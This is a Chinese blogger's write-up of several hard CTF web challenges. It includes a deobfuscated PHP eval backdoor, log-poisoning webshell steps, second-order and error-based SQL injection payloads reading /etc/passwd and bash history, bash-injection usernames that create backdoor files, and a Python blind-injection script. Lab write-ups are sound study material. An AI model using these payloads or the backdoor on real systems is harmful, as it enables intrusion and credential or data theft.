攻防世界-web题型-7星难度汇总-个人wp

Web_php_wrong_nginx_config

这个题目nginx配置错误

随便输入显示网站还没建设好。。。

先信息收集一下

换了个无敌好看的终端

没想到7星了还玩这些。。。

看了admin的页面需要先登录

现在的问题是如果读取到这个文件

这个hack的文件也没有东西

到此就不知道了,看wp

没想到在hack的cookie里,我看了cookie我当时看到last_login_info我就以为还是之前一个靶场做的时候留下的cookie我直接删除了。。。因为用的是同一个这个主机吗,cookie一样可以理解。。。靶场误我

这里的这个islogin就很可疑,估计是用来判断是否登录,如果没有登录就会跳转到登录界面

不过这个特征不是只有hack.php有,好像所有的都有。。。直接抓一个admin/admin.php的包然后同样修该这个东西

它给的这个是个地址admin.php?file=index&ext=php

然后看到file可以猜测文件读取,前面hint不是提示了一个地址吗

我说句实话这样的绕过谁知道,也只有fuzz看有没有这个运气fuzz出来。。。

拿到这个也看不太懂。。。

 server {
    listen 8080; ## listen for ipv4; this line is default and implied
    listen [::]:8080; ## listen for ipv6

    root /var/www/html;
    index index.php index.html index.htm;
    port_in_redirect off;
    server_name _;

    # Make site accessible from http://localhost/
    #server_name localhost;

    # If block for setting the time for the logfile
    if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") {
       set $year $1;
       set $month $2;
       set $day $3;
    }
    # Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html
    sendfile off;

        set $http_x_forwarded_for_filt $http_x_forwarded_for;
        if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {
                set $http_x_forwarded_for_filt $1???;
        }

    # Add stdout logging

    access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;
    error_log /var/log/nginx/error.log info;

    location / {
        # First attempt to serve request as file, then
        # as directory, then fall back to index.html
        try_files $uri $uri/ /index.php?q=$uri&$args;
        server_tokens off;
    }

    #error_page 404 /404.html;

    # redirect server error pages to the static page /50x.html
    #
    error_page 500 502 503 504 /50x.html;
    location = /50x.html {
        root /usr/share/nginx/html;
    }
    location ~ \.php$ {
        try_files $uri $uri/ /index.php?q=$uri&$args;
        fastcgi_split_path_info ^(.+\.php)(/.+)$;
        fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        fastcgi_param SCRIPT_NAME $fastcgi_script_name;
        fastcgi_index index.php;
        include fastcgi_params;
        fastcgi_param REMOTE_ADDR $http_x_forwarded_for;
    }

    location ~ /\. {
            log_not_found off;
            deny all;
    }
    location /web-img {
        alias /images/;
        autoindex on;
    }
    location ~* \.(ini|docx|pcapng|doc)$ {  
         deny all;  
    }  

    include /var/www/nginx[.]conf;

/web-img/是可访问的路径,通过此路径实现目录穿越

然后在此目录下可以找到一个备份文件。把它下载下来

是一串混淆加密的代码

然后要搞懂这个代码,这个代码是个php后门也就是对应着那个hack.php的文件,看懂了就可以利用这个后门666,这就是进阶难度吗,汗流浃背了

不管看了wp好像也不是特别难,前面的这几行全部添加了混淆字符|U,但是最后有都去除了而且全部拼接在一起得到了$f,也就是说$f就是原代码,把$f输出看看

<?php
$kh = "42f7";
$kf = "e9ac";
function x($t, $k)
{
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0; $i < $l;) {
        for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
            $o .= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}

$r = $_SERVER;
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {
    $u = parse_url($rr);
    parse_str($u["query"], $q);
    $q = array_values($q);
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
    if ($q && $m) {
        @session_start();
        $s =& $_SESSION;
        $ss = "substr";
        $sl = "strtolower";
        $i = $m[1][0] . $m[1][1];
        $h = $sl($ss(md5($i . $kh), 0, 3));
        $f = $sl($ss(md5($i . $kf), 0, 3));
        $p = "";
        for ($z = 1; $z < count($m[1]); $z++) $p .= $q[$m[2][$z]];
        if (strpos($p, $h) === 0) {
            $s[$i] = "";
            $p = $ss($p, 3);
        }
        if (array_key_exists($i, $s)) {
            $s[$i] .= $p;
            $e = strpos($s[$i], $f);
            if ($e) {
                $k = $kh . $kf;
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
                $o = ob_get_contents();
                ob_end_clean();
                $d = base64_encode(x(gzcompress($o), $k));
                print("<$k>$d</$k>");
                @session_destroy();
            }
        }
    }
}


?>

太复杂了,不会。。。

直接用wp的脚本吧。。。

只能说这题相当有难度,我是没有怎么专研过免杀绕过这一方面的知识的,因为代码并不是我的强项,不过后期会补上来的,把内网方面的学完了就可以专研免杀相关的了

ctf{a57b3698-eeae-48c0-a669-bafe3213568c}

但是看了其他人的wp发现还有一种做法,日志文件包含

这里可以找到日志文件的路径

这里要注意的事就是这个这里写代码的时候不需要考虑+或者%20,因为日志哪里回原样写入的,像这样空着也没有关系

然后尝试访问,记得修改islogin=1,发现php代码被执行了,这个时候就可以构造一个一句话后门了

上传一句话木马

这里我使用蚁剑进行连接,请求头这里我直接把整个cookie都复制下来了

也是成功连接上了

还是挺有意思的大佬的思维实在太强了

2024/02/01 17:29

comment

2024/02/03 12:39 靶场有问题无法打开

2024/02/19 13:20 靶场还是有问题

2024/02/20 15:23 环境好了

打开页面是一个留言板,题目提示了是sql

点击发帖发现跳转到login页面要登录,另外扫描目录发发现存在git泄露

使用Githack下载了一个write_do.php源码

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    break;
case 'comment':
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

好像不管怎么样都要登录

然后观察发现这个登录框有个zhanbgwei和zhangwei*** 我赶紧有点像暗示的账号和密码,果断bp爆破***就认为是三个数字果不其然是666。

进去之后就可以先测试一下几个参数有没有明显的SQL注入

观察了一下发现引号都被转义了\

主要是现在Git泄露的东西好像没有用到?上面那个代码没有什么用

摸索摸索没有什么思路了看看wp

😅

搞半天前面那个泄露的代码是不完整的。。。而且在网上看到的wp也没讲清楚完整的代码从哪里来的???等会看一下官方的wp

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

这里的sql语句的拼接也是相当有趣
可以看到除了 $sql = "select category from board where id='$bo_id'"; 取出来没有addslashes转义其他都转义了,注入点就出在了这里
在write中也就是一开始发帖中输入category=123',content=database(),/*    (这里注意的是addslashes函数转义后,在写入数据库后再数据库中的数据是没有\转移符号的,我特地去实验了,所以说后面取出来的就是单引号不会有转义符)
然后从数据库中取出的category
再评论这个帖子*/#
 $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
代码就变成这样
 $sql = "insert into comment
            set category = '  123’,content=database(),     /* ',
                content = ' */# ',
                bo_id = '$bo_id'";
这里因为是多行语句,所以用#只能注释一行在这里就不可以用了,要用到/**/ 将中间的值都注释同时后面加上的#也就这一行剩下的一点注释掉,留下就是这样的语句
 $sql = "insert into comment
            set category = ' 123’,
content=database(),  
                bo_id = '$bo_id'";
可以看到content变成了database()并且会将数据展示在页面的内容区

看一下user()是root用户

我直接先尝试写入shell但是没有成功

看wp是查看命令的历史记录

有一说一去确实不知道怎么查看网站的历史记录

123',content=(select (load_file('/home/www/.bash_history'))),/*

不过这个逻辑的前提应该是先读取/etc/passwd发现存在www用户并且根目录在/home/www下然后再去找

123',content=(select (load_file('/etc/passwd'))),/*

查看历史命令

发现他删除了一个.DS_Store文件,不过在 /tmp/html下面还有这个文件

123', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*

这里是一个其他格式的文件所以要使用hex先转为16进制读出

转码后发现一个flag文件

123',content=(select (load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*

做完只能说这种题很ctf,很好的一道题。就是源码我感觉是要自己猜,官网的wp也没有解释代码是不全的。。。如果说这题是没有补全的源码那就相当难了

 

wtf.sh-150

2024/02/02 12:07 靶场有问题无法正常开启

2024/02/03 12:42 依然有问题

2024/02/05 12:33 平台管理都回家过年了。。。全部502不维护了

2024/02/19 13:20 有问题

2024/02/20 13:00 总算可以了

进来是一个全英文的页面

然后文件的后缀是wtf 我第一次见到这样的文件后缀

在网上没有看到清楚的解释,另外我在看的时候发现X-Bash-Fact: 这个异常的请求头,看了一下应该是自定义的请求头,然后简单尝试了一下登录框发现存在admin用户,尝试弱口令在爆破的过程中发现X-Bash-Fact: 会有不同的消息回显,并且好像没有什么特别的规律

X-Bash-Fact: Bash didn't have Associative Arrays until Bash 4
X-Bash-Fact: The bash array access syntax looks like ${array[$idx]}.
X-Bash-Fact: Bash has an `until` keyword, which is equivalent to `while not`.
X-Bash-Fact: Loops are just commands. So, you can pipe things into and out of them!
X-Bash-Fact: Single and Double quotes do different things in bash -- single quotes do not interpolate variables, while double quotes do.
X-Bash-Fact: The idomatic way of iterating over all the lines in a file in bash is `while read -r line; do <something with line>; done < <filename>`
X-Bash-Fact: When globbing on arrays in bash, you have the option to use [*] and [@], which appear to both return all the elements of the array. However, [*] acts like a "splat operator", while [@] keeps all everything constrained to the same argument.

主要是这些好像是提示一样,bash有关的难道是shell编程吗。

鉴定完毕是我没见过的东西,看wp

目录穿越得到源码进行分析,当时忘记测试一下这个post参数了。。。

然后搜索和flag有关的代码

这一段代码要想得到这个flag必须[[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]]

也就是cookie中要有一个USERNME=admin,并且登录的用户是admin,但是我之前尝试过没有弱口令所以只能伪造cookie登录,其实就是相当于admin账号才可以看到这个flag1

但是又不知道admin账号的token是多少,然后说是有个目录里面保存了

有密码但是无法反向解密,下面那个就是token(这里可以注册一个账号看这个账号的cookie也会有一个这个样子的token)

另外就是伪造这个cookie需要登录一个页面,在我注册的账号里面有profile目录就是一些个人信息

我们就算有了cookie也是无法登录成功的直接在登录页面,我们只能访问其他的页面侧面登录进去,就访问这个profile页面(应该是其他页面试过没有flag在这个页面有,一共就两个页面主页和这个profile),但是这个页面访问需要有个user=,

不过在users那边可以找到这个信息,细节666

再抓这个包修改cookie得到一半flag

但是这个flag才只得到一半,还有一半不知道在哪里

有一说一看wp都看得脑袋要晕了,看不太懂shell脚本

根据wp寻找到解析wtf文件的代码,毕竟将wtf作为网页的文件是一个很奇怪的事情。

 

# Maximum page include depth
max_page_include_depth=64
page_include_depth=0

# Include page function
include_page() {
    local pathname=$1
    local cmd=""
    [[ "${pathname:(-4)}" = '.wtf' ]] || return
    page_include_depth=$(($page_include_depth+1))
    if [[ $page_include_depth -lt $max_page_include_depth ]]; then
        while read -r line; do
            if [[ $" = "${line:0:1}" && ${can_execute} = 0 ]]; then                cmd+=$'\n'"${line#"$"}"            else
                if [[ -n $cmd ]]; then
                    eval "$cmd" || log "Error during execution of ${cmd}"
                    cmd=""
                fi
                echo $line
            fi
        done < "${pathname}"
    else
        echo "<p>Max include depth 
$ reply    "\${URL_PARAMS['post']}"          "\${COOKIES['USERNAME']}"        "\${POST_PARAMS['text']}"  #     reply接收的函数
function reply {
    local post_id=$1;
    local username=$2;
    local text=$3;
    local hashed=$(hash_username "${username}");

    curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1);     #    basename表示除去后缀和前面的路径
    next_reply_id=$(awk '{print $1+1}' &lt;&lt;&lt; "${curr_id}");
    next_file=(posts/${post_id}/${next_reply_id});
    echo "${username}" &gt; "${next_file}";
    echo "RE: $(nth_line 2 &lt; "posts/${post_id}/1")" &gt;&gt; "${next_file}";
    echo "${text}" &gt;&gt; "${next_file}";

    # add post this is in reply to to posts cache
    echo "${post_id}/${next_reply_id}" &gt;&gt; "users_lookup/${hashed}/posts";
}

有一说一看的很难受。。。

reply是回复功能,接受三个参数postid也就是要回复的贴子的ID值,然后用户名,回复的text内容

这个回复的post参数也有目录穿越,另外创建这个后门的时候要加%09,表示制表符,否在会被当做目录去解析

然后这里就相当于创建了一个这个m.wtf文件,可以直接访问到,可以看到是保存了用户名以及回复的内容

从reply可知,username也会被写进${next_file},故我们将ployload写在username中,可能会有人问,为什么不写进text中呢,因为代码一中有一句cmd+=$'\n'"${line#"$"}";,后面有一个#号可以注释掉后面的内容,同时代码一中[[ "$" = "${line:0:1}" && ${can_execute} = 0 ]];要求我们必须以$开头,综上,我们的payload只有写进username中!(看不太懂。。。#注释所以只能用username传payload)

然后就注册一个用户相同的方式,不过这里改为其他名字的后门

这里相当于就是执行了shell命令,可以看到返回了路径

在注册一个$/usr/bin/get_flag2 用户名,相同的方式再创建一个后门

再访问

总算拿到了

Flag: xctf{cb49256d1ab48803149e5ec49d3c29ca}

不愧是国际赛的题目,废了废了。。。

filemanager

2024/02/03 12:46 7星的好几个靶场失效了,搞得我现在有点怕等下在靶场找半天找不到线索其实是资源没有加载出来。。。

进入主页有三个功能点,上传文件,删除文件,重命名文件,而且删除文件和重命名文件后面有接不需要输入扩展名也就是只要名字就可以。

尝试上传文件,这里是白名单上传,可以上传图片还有txt文件,而且会返回文件上传后的URl,并且没有对文件的内容做过滤

首先尝试一些截断的方式

我在尝试ao截断的时候,有数据库报错?这三个点不会是库表列吧

这里不会是一个二次注入的东西把

思考一下,filename被insert into 进去,在rename那边用的数据库语句也只会是update语句

我先插入一个shell2'.txt 然后我这里rename真的报错了

我尝试了如果是正常的改名就不会,说明是我的上传的文件名产生的影响

他的报错的原因是这样的,也就说我输入的单引号没闭合导致的,所以这里我们可以构造注入语句

' 'shell2' ' where fid=8 '

我猜测这里是update语句,可以这里看着不像如果是,应该是这样的 update file set filename='new filename' where fid=select fid from file where filename=' shell2' '

但是这里前面一个oldfilename后面是where看着不像是update语句。

我用个info(),确实可以报错

接下里报错注入就是的了

1'and (updatexml(1,concat(0x7e,(select database()),0x7e),1))#

1'and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1))#

有一种不祥的预感,我要的东西好像不在这里,就一个file好像没什么用吧。。。

1'and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='file'),0x7e),1))#

原来是有两列filename难怪

OK寄,还有一个delete估计也是用来触发上SQL注入的,现在思考看看是否可以利用SQL注入写shell进去。

寄,因为nginx的原因/会截断。。。还是看看wp吧,我不太确定是不是写shell的操作

看了wp。。。我其实做了信息收集但是没有做完,本来今天不打算打开kali的于是就用的Windows上的dirsearch但是没想到Windows上面的草鸡慢,我设置了30的线程我吃完饭来看还有几千但是我发现了SQL注入就停止了想着应该不需要目录扫描了应该没什么。。。人果然不能懒,不过为什么Windows上面的这个dirsearch这么慢但是在kali上面快的一批是操作系统的原因吗我也不太清楚。

 

其实当时我都扫描到upload的了然后关了。。。

还好我发现这个SQL注入没花太多时间否则我就是纯纯小丑了

看了源码,文件扩展名也是会传入数据库并且有白名单,存入数据库的是由白名单里取出再放进去的难怪我们无法修改后缀,这题的思路依然是修改后缀。通过恶意的文件名,让update语句插入一条修改extension的操作,这样就实现了修改数据库中的后缀名

原语句

update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}

恶意插入 ' ,extension=' 是不是就是多修改了这个扩展

update `file` set `filename`='{$req['newname']}', `oldname`=' ' ,extension=' ' where `fid`={$result['fid']}

这里我删删写写终于搞明白逻辑了

首先上传一个 ' ,extension='.txt的文件

然后rename这里oldname= ' ,extension=' newname=shell56.txt 这为什么要这样取名等下解释

首先rename代码中

$result的值还是老的,filenam=' ,extension=' extension=.txt

我输入的newname=shell56.txt

代码变成这样

update file set filename='shell56.txt', oldname='' ,extension=''

在数据库中extension已经为空了

接下里是实现rename的地方

可以看到extension是从数据库中取出拼接的,在这里执行了 ' ,extension='.txt 改名为shell56.txt.txt

也就是说此时文件名为shell56.txt.txt

这里就出现一个小细节了,数据库中的filename=shell56.txt然而实际的文件名为shell56.txt.txt

如果我们要把这个shell56.txt.txt rename

shell56.txt.txt的数据库中extension是空的,我们要输入oldname=shell56.txt 但是这里file_exists($oldname)判断的shell56.txt是不存在的,存在的是shell56.txt.txt,所以我们还要上传一个叫shell56.txt的文件来绕过这个函数的判断,并且这个文件最终会变为webshell所以要在里面添加一句话木马。

先上传一个',extension='.txt

再上传一个shell56.txt的并且是一句话木马

再将这个文件修改为php文件

拿下

flag{bdda3c944a9e484eae50123afeeff56b}

这一关那个文件名的地方相当细节,我也是思考了很久,因为这个几个name真的要把人搞晕了,很棒的题目!!!

 

 

Zhuanxv

进去页面一直显示时间,看了下是前段代码实现的。好像没有什么特别的地方

目录扫描了一波,发现了一个/list的目录,点进去发现提示要登录

到这个难度不会是爆破的思路,看看页面的源码,看到一个连接,测试是否有文件包含啥的

而且到下载还没看出网站是用的什么语言,我猜测又是js,或者是一个完整的网站框架带路由的那种

这个filename=的直接可以把图片下载下来,现在的问题是我不知道有哪些文件在目录下面,扫目录扫不出

不过list页面我还没有进入

算了鸡不出来看wp

666有意思,其实我用了web指纹识别的工具返回说是javaweb,不过这个工具我第一次用有点怀疑哈哈哈

一个叫糖果的web渗透测试工具,挺好用的不过是新出的还有点瑕疵,不过现在来看还是无法代替bp的地位

通过那个文件下载尝试下载javaweb特有的配置文件/WEB-INF/web.xml

下载下来的也会叫bp.jpg。。。但是内容是不一样的

<?xml version="1.0" encoding="UTF-8"?>
<web-app id="WebApp_9" version="2.4"
         xmlns="http://java.sun.com/xml/ns/j2ee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">
    <display-name>Struts Blank</display-name>
    <filter>
        <filter-name>struts2</filter-name>
        <filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>struts2</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>
    <welcome-file-list>
        <welcome-file>/ctfpage/index.jsp</welcome-file>
    </welcome-file-list>
    <error-page>
        <error-code>404</error-code>
        <location>/ctfpage/404.html</location>
    </error-page>
</web-app>

在这个文件里面看到了一些文件路径以及struts2的使用

按照wp,这个Struts2的配置文件也要下载下来看看,可以在网上搜索一下Struts2的配置文件有哪些,所以说web安全本来应该是让程序员来做的才符和。。。没有做过开发做这个真的吃力

apps-存放了所有Struts2的示例项目

docs-存放了所有Struts2与XWork的文档

lib-存放了所有Struts2相关的JAR文件以及Struts2运行时所依赖的JAR文件

src-存放了所有Struts2的源码,以Maven所指定的项目结构目录存放

../../WEB-INF/classes/struts.xml

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
        "http://struts.apache.org/dtds/struts-2.3.dtd">
<struts>
    <constant name="strutsenableDynamicMethodInvocation" value="false"/>
    <constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
    <constant name="struts.action.extension" value=","/>
    <package name="front" namespace="/" extends="struts-default">
        <global-exception-mappings>
            <exception-mapping exception="java.lang.Exception" result="error"/>
        </global-exception-mappings>
        <action name="zhuanxvlogin" class="com.cuitctf.action.UserLoginAction" method="execute">
            <result name="error">/ctfpage/login.jsp</result>
            <result name="success">/ctfpage/welcome.jsp</result>
        </action>
        <action name="loadimage" class="com.cuitctf.action.DownloadAction">
            <result name="success" type="stream">
                <param name="contentType">image/jpeg</param>
                <param name="contentDisposition">attachment;filename="bg.jpg"</param>
                <param name="inputName">downloadFile</param>
            </result>
            <result name="suffix_error">/ctfpage/welcome.jsp</result>
        </action>
    </package>
    <package name="back" namespace="/" extends="struts-default">
        <interceptors>
            <interceptor name="oa" class="com.cuitctf.util.UserOAuth"/>
            <interceptor-stack name="userAuth">
                <interceptor-ref name="defaultStack" />
                <interceptor-ref name="oa" />
            </interceptor-stack>

        </interceptors>
        <action name="list" class="com.cuitctf.action.AdminAction" method="execute">
            <interceptor-ref name="userAuth">
                <param name="excludeMethods">
                    execute
                </param>
            </interceptor-ref>
            <result name="login_error">/ctfpage/login.jsp</result>
            <result name="list_error">/ctfpage/welcome.jsp</result>
            <result name="success">/ctfpage/welcome.jsp</result>
        </action>
    </package>
</struts>

这里的每一个class都是一个可以下载的class文件 class="com.cuitctf.action.AdminAction" 其实就是com/cuitctf/action/AdminAction.class 这是java里面特有的class文件

然后下载../../WEB-INF/classes/com/cuitctf/action/UserLoginAction.class 这个文件

.class文件我一般喜欢用idea打开

再下载一个applicationContext.xml

然后把所有能下的.class文件都下载下来,然后就是代码审计相当于

真的做不下去了

审计完就会发现是一个name过滤了空格和=的SQL注入,然后使用一个正则匹配但是这里只匹配了password所以username存在注入(虽然他也写了username的匹配规则)

然后再../../WEB-INF/classes/user.hbm.xml可以看到flag所在的列,这是一个hiberbate配置文件,是一个域数据库映射有关的配置文件

主要是这里也是一个盲注,要写脚本跑

可以先尝试注入

空格用%0a代替,=用like

直接用wp的脚本,原理很好理解,因为此盲注是bool盲注,所以判断是否回显了登录成功的页面就可以了,而在bp看了登录成功返回的页面Content-Length: 26844 所以他这里判断的是>20000。它这里没有使用算法所以跑起来会比较慢

import requests
s=requests.session()

flag=''
for i in range(1,50):
    p=''
    for j in range(1,255):
        payload="(select%0Aascii(substr(welcometoourctf,"+str(i)+",1))%0Afrom%0AFlag)<'"+str(j)+"'"
        url="http://61.147.171.105:56092/zhuanxvlogin?user.name=admin'%0Aor%0A"+payload+"%0Aor%0Aname%0Alike%0A'admin&user.password=1"
        r1=s.get(url)
        if len(r1.text)>20000 and p!='':
            flag+=p
            print(str(i)+":"+flag)
            break
        p=chr(j)

  • 21
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值